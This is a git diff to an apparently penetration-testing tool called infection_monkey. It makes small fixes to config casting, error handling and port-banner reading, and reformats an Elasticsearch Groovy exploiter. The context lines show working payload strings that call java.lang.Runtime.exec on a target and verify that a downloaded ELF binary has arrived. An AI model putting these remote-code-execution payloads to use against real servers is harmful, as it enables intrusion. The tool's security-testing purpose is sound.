diff --git a/infection_monkey/config.py b/infection_monkey/config.py
index 50e8d847b..9af85d33f 100644
--- a/infection_monkey/config.py
+++ b/infection_monkey/config.py
@@ -23,7 +23,7 @@ def _cast_by_example(value, example):
     """
     example_type = type(example)
     if example_type is str:
-        return str(os.path.expandvars(value))
+        return os.path.expandvars(value).encode("utf8")
     elif example_type is tuple and len(example) != 0:
         if value is None or value == tuple([None]):
             return tuple()
diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py
index bf904724e..cdd3e0dcb 100644
--- a/infection_monkey/exploit/elasticgroovy.py
+++ b/infection_monkey/exploit/elasticgroovy.py
@@ -25,11 +25,11 @@ class ElasticGroovyExploiter(HostExploiter):
     MONKEY_RESULT_FIELD = "monkey_result"
     GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
     JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
-    JAVA_GET_TMP_DIR =\
+    JAVA_GET_TMP_DIR = \
         GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
     JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
     JAVA_CMD = GENERIC_QUERY \
-        % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
+               % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
     JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
 
     DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder
@@ -139,8 +139,8 @@ class ElasticGroovyExploiter(HostExploiter):
         http_thread.join(self.DOWNLOAD_TIMEOUT)
         http_thread.stop()
         if (http_thread.downloads != 1) or (
-                    'ELF' not in
-                    self.check_if_remote_file_exists_linux(target_path)):
+                'ELF' not in
+                self.check_if_remote_file_exists_linux(target_path)):
             LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
             return False
         return True
@@ -232,5 +232,5 @@ class ElasticGroovyExploiter(HostExploiter):
         try:
             json_resp = json.loads(response.text)
             return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
-        except KeyError:
+        except (KeyError, IndexError):
             return None
diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py
index 9f0cb8dee..5053b6c32 100644
--- a/infection_monkey/network/tools.py
+++ b/infection_monkey/network/tools.py
@@ -139,7 +139,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
                 "On host %s discovered the following ports %s" %
                 (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])))
             banners = []
-            if get_banner:
+            if get_banner and (len(connected_ports_sockets) != 0):
                 readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0)
                 # read first BANNER_READ bytes
                 banners = [sock.recv(BANNER_READ) if sock in readable_sockets else ""